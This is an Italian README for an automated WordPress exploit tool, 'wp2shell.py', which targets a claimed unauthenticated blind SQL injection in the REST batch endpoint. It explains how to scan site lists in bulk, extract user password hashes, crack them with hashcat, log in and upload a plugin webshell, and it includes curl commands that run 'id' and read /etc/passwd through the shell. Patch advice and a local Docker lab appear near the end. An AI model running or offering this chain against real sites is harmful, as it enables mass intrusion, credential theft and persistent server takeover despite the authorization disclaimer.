
Catena di exploit automatizzata per CVE-2026-63030 / CVE-2026-60137 — SQLi blind non autenticata tramite route-confusion batch REST di WordPress. Estrae gli hash degli utenti, decifra le credenziali, distribuisce una webshell. Supporta singoli obiettivi ed elenchi di siti in blocco. Solo per test di sicurezza autorizzati.
WordPress REST batch route-confusion blind SQL injection — catena di exploit automatizzata.
CVE-2026-63030 / CVE-2026-60137
| Versioni interessate | WordPress 6.9.0 – 6.9.4 e 7.0.0 – 7.0.1 |
| Corretto | WordPress 6.9.5 / 7.0.2 |
| Sink | SQL author__not_in tramite parametro author_exclude desincronizzato |
| Autenticazione richiesta | Nessuna (SQLi non autenticata) |
Solo per test di sicurezza autorizzati.
L'endpoint batch dell'API REST di WordPress (/wp-json/batch/v1) consente richieste batch annidate. Un payload di desincronizzazione a doppio annidamento sposta gli array interni $matches / $validation, instradando un valore author_exclude appositamente costruito nella SQL author__not_in senza sanitizzazione. Ciò consente una SQL injection non autenticata di tipo blind boolean e timing.
Catena di exploit — 4 fasi:
Phase 1 Vulnerability check batch marker probe + optional SQL timing
Phase 2 Hash harvest blind SQLi extracts wp_users (login + hash)
Phase 3 Authentication wordlist attack via wp-login.php
Phase 4 Webshell deployment plugin ZIP upload -> RCE verify
aiohttpcoloramapip install aiohttp colorama
Target singolo
python wp2shell.py http://target.com
Lista di siti (un URL per riga)
python wp2shell.py sites.txt
Lista di siti + file password personalizzato
python wp2shell.py sites.txt -p pass.txt
Credenziali note (salta la wordlist)
python wp2shell.py http://target.com --user admin --password admin123
Conferma la SQLi con timing
python wp2shell.py http://target.com --confirm-sqli
Senza permalink pretty
python wp2shell.py http://target.com --rest-route
Tramite proxy Burp
python wp2shell.py http://target.com --proxy http://127.0.0.1:8080
| File | Contenuto |
|---|---|
creds.txt | http://target=>user:pass (testo in chiaro se decifrata, hash altrimenti) |
webshell.txt | URL della webshell attiva |
VULNERABLE.txt | Tutti i target in cui la fase 1 ha confermato la vulnerabilità |
Tutti i file vengono accodati — i risultati si accumulano tra le diverse esecuzioni.
Uso della webshell — aggiungi ?cmd=COMMAND all'URL in webshell.txt:
# browser
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id
# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"
Se la wordlist non trova la password, creds.txt contiene l'hash estratto:
hashcat -m 400 creds.txt wordlist.txt
Quindi riesegui con la password decifrata:
python wp2shell.py http://target.com --user admin --password <plaintext>
Avvia un'istanza vulnerabile di WordPress 7.0.1 per test locali sicuri.
Prima esecuzione — crea i volumi e installa WordPress:
docker compose up -d db wordpress
docker compose run --rm wpcli
Avvii successivi:
docker compose up -d db wordpress
Arresto:
docker compose down
Reset completo (cancella tutti i dati):
docker compose down -v
Esegui l'exploit contro il laboratorio:
python wp2shell.py http://localhost:8080
Aggiorna a WordPress 6.9.5 o 7.0.2. La correzione valida la rotta batch prima di inoltrare le richieste annidate, impedendo la desincronizzazione che espone il sink SQL.
Da utilizzare su sistemi di tua proprietà o per i quali disponi di esplicita autorizzazione scritta al test. L'uso non autorizzato è illegale.
| Flag | Default | Descrizione |
|---|
target | — | URL (http://target) o percorso del file con la lista dei siti |
-p FILE | — | File con la lista delle password (una per riga) |
--user | — | Salta la wordlist, usa questo nome utente |
--password | — | Salta la wordlist, usa questa password |
--confirm-sqli | off | Invia una sonda SQL timing attiva dopo il controllo del marcatore |
--rest-route | off | Usa /?rest_route=/batch/v1 (senza permalink pretty) |
--sleep N | 3.0 | Ritardo SQL SLEEP() in secondi |
--samples N | 3 | Coppie di campioni di timing per il calcolo della mediana |
--timeout N | 30.0 | Timeout delle richieste HTTP |
--prefix PREFIX | wp_ | Prefisso delle tabelle del database |
--proxy URL | — | Proxy HTTP/HTTPS |
| URL | http://localhost:8080 |
| Admin | admin / admin123 |
| MySQL host | db |
| MySQL user/pass | wpuser / wppass |
| Database | wordpress |